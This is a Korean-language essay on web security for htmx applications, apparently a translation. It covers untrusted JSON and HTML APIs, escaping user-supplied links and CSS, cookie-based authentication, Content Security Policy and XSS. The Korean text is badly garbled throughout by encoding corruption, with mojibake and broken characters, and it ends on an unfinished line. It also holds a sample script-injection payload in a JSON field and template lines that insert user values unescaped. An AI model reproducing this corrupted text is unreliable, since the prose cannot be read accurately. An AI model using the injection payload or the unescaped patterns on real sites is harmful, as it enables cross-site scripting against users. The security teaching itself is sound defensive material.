์ฐ๋ฆฌ๋ ๊ฐ์ฅ ์ฝ๊ณ ์์ ํ ๊ดํ๋ถํฐ ์์ํ์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ค์๋ก ์ธํด ์ฌ์ฉ์ ๊ฒฝํ์ด ์์๋๋ ๊ฒฝ์ฐ, ๋ฐ์ดํฐ๋ฅผ ๋๋๋นํ๋ ๊ฒ๋ณด๋ค ํจ์ฌ ์ฝ๊ฒ ์์ ํ ์ ์์ต๋๋ค.
์ผ๋ถ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ ๋ณต์กํ ๊ธฐ๋ฅ์ ์๊ตฌํ๋ฉฐ, ๋ ๋ง์ ์ฌ์ฉ์ ์ปค์คํฐ๋ง์ด์ง์ ํ์๋ก ํฉ๋๋ค. ์ด๋ฌํ ๊ฒฝ์ฐ ๋ ๋ณต์กํ ๋ณด์ ๋ฉ์ปค๋์ฆ์ด ํ์ํฉ๋๋ค. ์ด๋ฌํ ๊ท์น์ ๊นจ์ผ ํ๋ค๋ฉด, ๊ทธ๊ฒ์ด ์ ๋ง๋ก ํ์ํ๋ค๋ ๊ฒ๊ณผ ๋์ฒด ์๋จ์ผ๋ก ๊ตฌํํ ์ ์๋ค๋ ๊ฒ์ ํ์ ํ ํ์๋ง ๊ทธ๋ ๊ฒ ํด์ผ ํฉ๋๋ค.
์ ๋ขฐํ ์ ์๋ HTML API๋ฅผ ํธ์ถํ๋ ๊ฒ์ ๋ฏธ์น ์ง์ ๋๋ค. ์ ๋ ๊ทธ๋ ๊ฒ ํ์ง ๋ง์ธ์.
๋ค๋ฅธ ๊ฒฝ์ฐ์๋ ํด๋ผ์ด์ธํธ์์ ๋ค๋ฅธ ์ฌ๋์ JSON API๋ฅผ ํธ์ถํ๊ณ ์ถ์ ์ ์์ต๋๋ค.
JSON์ ์์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ผ๋ฏ๋ก ๊ด์ฐฎ์ต๋๋ค. ์ด ๊ฒฝ์ฐ, ๋ฐ์ดํฐ๋ฅผ HTML๋ก ๋ณํํ๊ธฐ ์ํด ๋ฌด์ธ๊ฐ๋ฅผ ํด์ผ ํ ๊ฒ์
๋๋ค.
์ด๋ htmx๋ฅผ ์ฌ์ฉํ์ง ๋ง๊ณ , fetch
์ JSON.parse()
๋ฅผ ์ฌ์ฉํ์ธ์. ์ ๋ขฐํ ์ ์๋ API๊ฐ HTML ๋์ JSON์ ๋ฐํํ๋ฉด, JSON.parse()
๋ ๋จ์ํ ์์ ํ๊ฒ ์คํจํฉ๋๋ค.
ํ์ง๋ง ํ์ฑํ JSON์ HTML๋ก ํฌ๋งท๋ ์์ฑ์ด ์์ ์ ์์ต๋๋ค:
{ "name": "<script>alert('ํํํ, ๋๋ ์คํฌ๋ฆฝํธ๋ค')</script>" }
๋ฐ๋ผ์ JSON ๊ฐ์ HTML๋ก ์ฝ์
ํ์ง ๋ง๊ณ , textContent
๋ฅผ ์ฌ์ฉํ์ธ์. ์ด๋ htmx๊ฐ ์ ์ดํ๋ UI ๋ฒ์๋ฅผ ๋ฒ์ด๋๋ ๊ฒ์ด์ง๋ง ์ค์ํ ์ ์
๋๋ค.
htmx 2.0 ๋ฒ์ ์์๋ ๋ค๋ฅธ ์ฌ๋์ API๋ฅผ ํด๋ผ์ด์ธํธ์์ ์ง์ ํธ์ถํ๊ณ ํด๋น ํ
์คํธ๋ฅผ ํ์ด์ง์ ๋ฃ์ ์ ์๋๋ก textContent
๊ต์ฒด ๊ธฐ๋ฅ์ ํฌํจํ ์์ ์
๋๋ค.
์ ๋ขฐํ ์ ์๋ HTML ๊ฒฝ๋ก๋ฅผ ํธ์ถํ๋ ๊ฒ๊ณผ ๋ฌ๋ฆฌ, ๋์ ์ผ๋ก HTML ํ์์ ์ฝํ ์ธ ๋ฅผ ์ฌ์ฉ์๊ฐ ๋ง๋ค๋๋ก ํ์ฉํ๋ ๊ฒ์๋ ๋ง์ ์ข์ ์ด์ ๊ฐ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ์ฌ์ฉ์๊ฐ ์ด๋ฏธ์ง๋ฅผ ๋งํฌํ๋๋ก ํ๊ณ ์ถ๋ค๋ฉด ์ด๋ป๊ฒ ํ ๊น์?
<img src="{{ user.fav_img }}">
๋๋ ๊ฐ์ธ ์น์ฌ์ดํธ๋ก ์ฐ๊ฒฐํ๋ ๋งํฌ๋ฅผ ๋ง๋ค๊ณ ์ถ๋ค๋ฉด?
<a href="{{ user.fav_link }}">
๊ธฐ๋ณธ์ ์ผ๋ก โ๋ชจ๋ ๊ฒ์ ์ด์ค์ผ์ดํโํ๋ ์ ๊ทผ ๋ฐฉ์์ ์ฌ๋์(/)๋ฅผ ์ด์ค์ผ์ดํํ๊ธฐ ๋๋ฌธ์ ์ฌ์ฉ์๊ฐ ์ ์ถํ URL์ ๋ง๊ฐ๋จ๋ฆด ์ ์์ต๋๋ค.
์ด๋ฅผ ํด๊ฒฐํ๋ ๋ช ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ๊ฐ์ฅ ๊ฐ๋จํ๊ณ ์์ ํ ๋ฐฉ๋ฒ์ ์ฌ์ฉ์๊ฐ ์ด๋ฌํ ๊ฐ์ ์ปค์คํฐ๋ง์ด์งํ ์ ์๋๋ก ํ๋, ์ค์ ํ ์คํธ๋ฅผ ์ ์ํ์ง ๋ชปํ๋๋ก ํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฏธ์ง ์์ ์์๋ ์ด๋ฏธ์ง๋ฅผ ์์ฒด ์๋ฒ(๋๋ S3 ๋ฒํท ๋ฑ)์ ์ ๋ก๋ํ๊ณ , ๋งํฌ๋ฅผ ์ง์ ์์ฑํ ํ ์ด๋ฅผ ์ด์ค์ผ์ดํํ์ง ์๊ณ ํฌํจํ ์ ์์ต๋๋ค. Nunjucks์์๋ safe ํจ์๋ฅผ ์ฌ์ฉํฉ๋๋ค:
<img src="{{ user.fav_img_s3_url | safe }}">
๋ค, ์ด์ค์ผ์ดํ๋์ง ์์ ์ฝํ ์ธ ๋ฅผ ํฌํจํ๊ณ ์์ง๋ง, ์ด๋ ์ฌ๋ฌ๋ถ์ด ์์ฑํ ๋งํฌ์ด๋ฏ๋ก ์์ ํ๋ค๊ณ ํ์ ํ ์ ์์ต๋๋ค.
์ฌ์ฉ์ ์ ์ CSS๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ฒ๋ฆฌํ ์ ์์ต๋๋ค. ์ฌ์ฉ์๊ฐ ์์์ ์ง์ ์ง์ ํ๋ ๋์ , ์ ํ๋ ์ ํ์ง๋ฅผ ์ ๊ณตํ๊ณ ๊ทธ๋ค์ ์ ๋ ฅ์ ๋ฐ๋ผ ์ ํ์ง๋ฅผ ์ค์ ํฉ๋๋ค.
{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}
์ด ์์์ ์ฌ์ฉ์๋ favorite_color
์ ์ํ๋ ๋๋ก ์ค์ ํ ์ ์์ง๋ง, ๊ฒฐ๊ตญ ๋นจ๊ฐ์์ด๋ ํ๋์์ผ๋ก๋ง ์ ํ๋ฉ๋๋ค.
์ข ๋ ๋ณต์กํ ์๋ก๋ ์ ๊ท์์ ์ฌ์ฉํ์ฌ ์ ์ ํ ํ์์ ํฅ์ค ์ฝ๋๋ฅผ ์
๋ ฅํ ์ ์๋๋ก ํ๋ ๊ฒ์ด ์์ต๋๋ค. ์ด๋ฐ ์์ด๋์ด์
๋๋ค.
์ด๋ค ์ข ๋ฅ์ ์ปค์คํฐ๋ง์ด์ง์ ์ง์ํ๋๋์ ๋ฐ๋ผ, ์ด๋ฅผ ๋ณด์ํ๋ ๊ฒ์ด ์๋์ ์ผ๋ก ์ฌ์ธ ์๋ ์๊ณ , ๋งค์ฐ ์ด๋ ค์ธ ์๋ ์์ต๋๋ค. ์ผ๋ถ ์์ฑ์ โ์์ ํ ์ฑํฌ(safe sinks)โ๋ก ๊ฐ์ฃผ๋๋ฉฐ, ์ด๋ค์ ๊ฐ์ ์ฝ๋๋ก ํด์๋์ง ์์ผ๋ฏ๋ก ๋น๊ต์ ์ฝ๊ฒ ๋ณด์ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ โ์ํํ ์ปจํ ์คํธโ์ ๋์ ์ ๋ ฅ์ ํฌํจํ๋ ค๋ ๊ฒฝ์ฐ, ํด๋น ์ปจํ ์คํธ์ ์ํํ ๋ถ๋ถ์ด ๋ฌด์์ธ์ง ์ฐ๊ตฌํ๊ณ , ๊ทธ ์ข ๋ฅ์ ์ ๋ ฅ์ด ๋ฌธ์์ ๋ค์ด๊ฐ์ง ์๋๋ก ํด์ผ ํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ์ฌ์ฉ์๊ฐ ์์์ ์น์ฌ์ดํธ๋ ์ด๋ฏธ์ง๋ก ์ฐ๊ฒฐํ ์ ์๋๋ก ํ๋ ค๋ฉด, ์ด๋ ํจ์ฌ ๋ ๋ณต์กํด์ง๋๋ค. ๋จผ์ ์์ฑ์ ๋ฐ์ดํ ์์ ๋ฃ๋๋ก ํ์ธ์(๋๋ถ๋ถ์ ์ฌ๋๋ค์ ์ด์จ๋ ์ด๋ ๊ฒ ํฉ๋๋ค). ๊ทธ๋ฐ ๋ค์, ์ฌ๋์(๋ฐ ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์ฐํผ์๋)๋ฅผ ์ ์ธํ ๋ชจ๋ ๊ฒ์ ์ด์ค์ผ์ดํํ๋ ์ฌ์ฉ์ ์ ์ ์ด์ค์ผ์ดํ ํจ์๋ฅผ ์์ฑํ์ฌ ๋งํฌ๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์๋ํ๋๋ก ํด์ผ ํฉ๋๋ค.
๊ทธ๋ฌ๋ ์ฌ๋ฐ๋ฅด๊ฒ ์ํํ๋๋ผ๋ ์๋ก์ด ๋ณด์ ๋ฌธ์ ๋ฅผ ๋์ ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๊ทธ ์ด๋ฏธ์ง ๋งํฌ๋ ์ฌ์ฉ์์ ์์ฒญ์ ๋ค๋ฅธ ์๋ฒ์์ ์ง์ ์์ ํ๋ฏ๋ก ์ฌ์ฉ์๋ฅผ ์ถ์ ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์ด๊ฒ์ด ๊ด์ฐฎ๋ค๊ณ ์๊ฐํ ์๋ ์๊ณ , ๋ค๋ฅธ ์ํ ์กฐ์น๋ฅผ ํฌํจํ ์๋ ์์ต๋๋ค. ์ค์ํ ์ ์ ์ด๋ฌํ ์์ค์ ์ปค์คํฐ๋ง์ด์ง์ ๋์ ํ๋ฉด ๋ ์ด๋ ค์ด ๋ณด์ ๋ชจ๋ธ์ด ํ์ํ๋ค๋ ์ ์ ์ธ์ํ๊ณ , ์ด๋ฅผ ์ฐ๊ตฌํ๊ณ ํ ์คํธํ ์ ์๋ ์ฌ๋ ฅ์ด ์๋ค๋ฉด ํ์ง ๋ง์์ผ ํ๋ค๋ ๊ฒ์ ๋๋ค.
JavaScript SPA์์๋ ๋๋๋ก ํ ํฐ์ ํด๋ผ์ด์ธํธ์ ๋ก์ปฌ ์คํ ๋ฆฌ์ง์ ์ ์ฅํ ๋ค์ ๊ฐ ์์ฒญ์
Authorization
ํค๋์ ์ถ๊ฐํ์ฌ ์ธ์ฆ์ ์ํํฉ๋๋ค.
๊ทธ๋ฌ๋ ๋ถํํ๋ JavaScript๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ๋ Authorization
ํค๋๋ฅผ ์ค์ ํ ์ ์์ผ๋ฉฐ, ์ด๋ ์์ ํ์ง ์์ต๋๋ค.
์ ๋ขฐํ ์ ์๋ JavaScript์ ์ ๊ทผํ ์ ์๋ค๋ฉด, ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํ์ด์ง์ ์ฝ์
๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๋ ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค.
๋์ , ์ฟ ํค(์์์ ์ธ๊ธํ ์์ฑ ํฌํจ)๋ฅผ ์ฌ์ฉํ์ธ์. ์ฟ ํค๋ JavaScript์ ์ ํ ์ ๊ทผํ์ง ์๊ณ ๋ ์ค์ ํ๊ณ ๋ณดํธํ ์ ์์ต๋๋ค.
Authorization
ํค๋๊ฐ ์์ง๋ง ํ์ดํผ๋ฏธ๋์ด ์ปจํธ๋กค๋ก ์ด๋ฅผ ์ค์ ํ ์ ์๋ ์ด์ ๋ ๋ฌด์์ผ๊น์? ๊ธ์์, ๊ทธ๊ฒ์ WHATWG์ ๋๋ผ์ด ๋๋ฝ ์์ ๋ฏธ์คํฐ๋ฆฌ ์ค ํ๋์ผ ๋ฟ์
๋๋ค.
๋ง์ฝ ์ฌ์ฉ์์ ํด๋ผ์ด์ธํธ๋ฅผ ์ฌ๋ฌ๋ถ์ด ์ ์ดํ์ง ์๋ API๋ก ์ธ์ฆํด์ผ ํ๋ค๋ฉด, ์ผ๋ฐ์ ์ธ ๋น์ ๋ขฐ ๊ฒฝ๋ก์ ๋ํ ์ฃผ์ ์ฌํญ์ด ์ ์ฉ๋ฉ๋๋ค.
์ฝํ ์ธ ๋ณด์ ์ ์ฑ (CSP)๋ ์๊ณ ์์ด์ผ ํฉ๋๋ค. CSP๋ HTTP ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ํ์ด์ง์์ ์คํํ ์ ์๋ ์ฝํ ์ธ ์ ์ข ๋ฅ์ ๋ํ ๊ท์น์ ์ค์ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ํ์ด์ง๊ฐ ํน์ ๋๋ฉ์ธ์์๋ง ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๋๋ก ์ ํํ๊ฑฐ๋, ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ๋นํ์ฑํํ ์ ์์ต๋๋ค.
์ด๊ฒ์ด โ๊ณจ๋ ๋ฃฐโ ์ค ํ๋๊ฐ ์๋ ์ด์ ๋ ๋ชจ๋ ๊ณณ์ ๋ณดํธ์ ์ผ๋ก ์ ์ฉํ๊ธฐ ์ฝ์ง ์๊ธฐ ๋๋ฌธ์
๋๋ค. โ๋๋ถ๋ถ์ ์ ํฉํโ CSP๋ผ๋ ๊ฒ์ ์์ต๋๋ค.
์ผ๋ถ htmx ์ ํ๋ฆฌ์ผ์ด์
์ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ๋ฉฐ,
hx-on
์์ฑ์ ์์์ ์คํฌ๋ฆฝํธ๋ฅผ ํ๊ฐํ ์ ์๋ ์ผ๋ฐํ๋ ์์ฑ ๋ฆฌ์ค๋์
๋๋ค(ํ์ํ์ง ์๋ค๋ฉด ๋นํ์ฑํํ ์ ์์ต๋๋ค).
์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๊ฐ ํ์ํ์ง ์๊ณ , ๋ ์๊ฒฉํ CSP๋ฅผ ์ฑํํ ์ ์๋ ๊ฒฝ์ฐ๋ ์์ต๋๋ค.
์ด ๋ชจ๋ ๊ฒ์ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ณด์ ํ๋กํ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฉฐ, ์ฌ์ฉํ ์ ์๋ ์ต์
์ ์๊ณ ๊ทธ ๋ถ์์ ์ํํ ์ ์์ด์ผ ํฉ๋๋ค.
SPA๋ฅผ ๋ง๋ค ๋ ์ด๋ฌํ ๊ฒ๋ค์ ๋ชฐ๋ผ๋ ๋์๋ค๋ฉด, htmx๊ฐ ๋ณด์ ์ธก๋ฉด์์ ํ ๊ฑธ์ ๋ค๋ก ๊ฐ๋ ๊ฒ์ด ์๋๊ฐ ์๋ฌธ์ด ๋ค ์ ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ์ด ์ฃผ์ฅ์ ๋ ๋ถ๋ถ ๋ชจ๋์ ๋ํด ๋์ ํ๊ณ ์ถ์ต๋๋ค.
์ด ๊ธฐ์ฌ๋ htmx์ ๋ณด์ ์์ฑ์ ๋ณํธํ๊ธฐ ์ํ ๊ฒ์ด ์๋์ง๋ง, ํ์ดํผ๋ฏธ๋์ด ์ ํ๋ฆฌ์ผ์ด์ ์ด ๊ธฐ๋ณธ์ ์ผ๋ก JSON ๊ธฐ๋ฐ ํ๋ฐํธ์๋๋ณด๋ค ํจ์ฌ ๋ ์์ ํ ์ฌ๋ฌ ์์ญ์ด ์์ต๋๋ค. HTML API๋ ๋ ๋๋ง๋์ด์ผ ํ๋ ์ ๋ณด๋ง ๋ฐํํ๋ฏ๋ก, JSON ์๋ต์์ ์๋์น ์์ ๋ฐ์ดํฐ๊ฐ โ์จ๊ฒจ์ ธโ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์ ์ถํ๋ ์ผ์ด ํจ์ฌ ๋ ์ฝ๊ฒ ๋ฐ์ํ ์ ์์ต๋๋ค. ํ์ดํผ๋ฏธ๋์ด API๋ ๋ํ ํด๋ผ์ด์ธํธ์์ ํจ์ฌ ๋ ๋ณต์กํ ๋ณด์ ๋ชจ๋ธ์ ํ์๋ก ํ๋ GraphQL๊ณผ ๊ฐ์ ์ผ๋ฐํ๋ ์ฟผ๋ฆฌ ์ธ์ด๋ฅผ ๊ตฌํํ๋ ๋ฐ ์ ํฉํ์ง ์์ต๋๋ค. ๋ชจ๋ ์ข ๋ฅ์ ๊ฒฐํจ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณต์ก์ฑ์ ์จ์ด ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ํ์ดํผ๋ฏธ๋์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ ๋ณต์กํ๋ฏ๋ก ๋ณด์์ด ๋ ์ฝ์ต๋๋ค.
๋ํ, ์น์ ๋์ ์ฝํ
์ธ ๋ฅผ ๋ฐฐํฌํ๋ ๊ฒฝ์ฐ XSS ๊ณต๊ฒฉ์ ๋ํด ์์์ผ ํฉ๋๋ค.
XSS๊ฐ ์ด๋ป๊ฒ ์๋ํ๋์ง ์ดํดํ์ง ๋ชปํ๋ ๊ฐ๋ฐ์๋ React์ dangerouslySetInnerHTML
์ด ์ ์ํํ์ง ์ดํดํ์ง ๋ชปํ ๊ฒ์ด๋ฉฐ,
์ฌ์ฉ์ ์์ฑ ํ
์คํธ๋ฅผ ๋ ๋๋งํด์ผ ํ ๋ ๋ฐ๋ก ์ด ๊ธฐ๋ฅ์ ์ฌ์ฉํ ๊ฒ์
๋๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ์ด๋ฌํ ๋ณด์ ๊ธฐ๋ณธ ์ฌํญ์ ๊ฐ๋ฅํ ํ ์ฝ๊ฒ ์ฐพ์ ์ ์๋๋ก ํด์ผ ํ๋ฉฐ, ๊ฐ๋ฐ์๋ ํญ์ ์ด๋ฅผ ๋ฐฐ์ฐ๊ณ ์ค์ํด์ผ ํ ์ฑ
์์ด ์์ต๋๋ค.
์ด ๊ธฐ์ฌ๋ htmx ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณด์์ ์ผ๋ก ์ฑ๊ณตํ๊ธฐ ์ฝ๊ฒ ๋ง๋ค๊ธฐ ์ํด ๊ตฌ์ฑ๋์ด ์์ต๋๋ค. ์ด ๊ฐ๋จํ ๊ท์น์ ๋ฐ๋ฅด๊ธฐ๋ง ํ๋ฉด XSS ์ทจ์ฝ์ ์ ์ฝ๋ฉํ ๊ฐ๋ฅ์ฑ์ ๋งค์ฐ ๋ฎ์์ง๋๋ค. ๊ทธ๋ฌ๋ ๋ณด์์ ๋ํด ์ ํ ๋ฐฐ์ฐ์ง ์์ผ๋ ค๋ ๊ฐ๋ฐ์ ์์ ๋ค์ด๊ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์์ ํ ์๋ ์์ต๋๋ค. ๋ณด์์ ์ ๋ณด์ ๋ํ ์ ๊ทผ์ ์ ์ดํ๋ ๊ฒ๊ณผ ๊ด๋ จ์ด ์์ผ๋ฉฐ, ์ด๋ค ์ ๋ณด์ ๋๊ฐ ์ ๊ทผํ ์ ์๋์ง๋ฅผ ์ปดํจํฐ์๊ฒ ์ค๋ช ํ๋ ๊ฒ์ ํญ์ ์ธ๊ฐ์ ์ญํ ์ด๊ธฐ ๋๋ฌธ์ ๋๋ค.
์์ ํ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ฑํ๋ ๊ฒ์ ์ด๋ ต์ต๋๋ค. ๋ผ์ฐํ , ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๊ทผ, HTML ํ ํ๋ฆฟ, ๋น์ฆ๋์ค ๋ก์ง ๋ฑ๊ณผ ๊ด๋ จ๋ ๋ง์ ์ฌ์ด ํจ์ ๋ค์ด ์กด์ฌํฉ๋๋ค. ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ , ๋ณด์์ด ๋ณด์ ์ ๋ฌธ๊ฐ๋ค์ ์์ญ์๋ง ๊ตญํ๋๋ค๋ฉด, ์ค์ง ๋ณด์ ์ ๋ฌธ๊ฐ๋ค๋ง ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง๋ค์ด์ผ ํฉ๋๋ค. ๊ทธ๊ฒ์ด ์ ๋ง๋ก ๊ทธ๋ ๊ฒ ๋์ด์ผ ํ ์๋ ์์ต๋๋ค! ํ์ง๋ง ๋ณด์ ์ ๋ฌธ๊ฐ๋ค๋ง์ด ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง๋ ๋ค๋ฉด, ๊ทธ๋ค์ ๋ถ๋ช ํ ํ ํ๋ฆฟ ์์ง์ ์ฌ๋ฐ๋ฅด๊ฒ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ ์๊ณ ์์ ๊ฒ์ด๋ฉฐ, htmx๋ ๊ทธ๋ค์๊ฒ๋ ์๋ฌด๋ฐ ๋ฌธ์ ๊ฐ ๋์ง ์์ ๊ฒ์ ๋๋ค.
๋ชจ๋ ์ฌ๋๋ค์๊ฒ: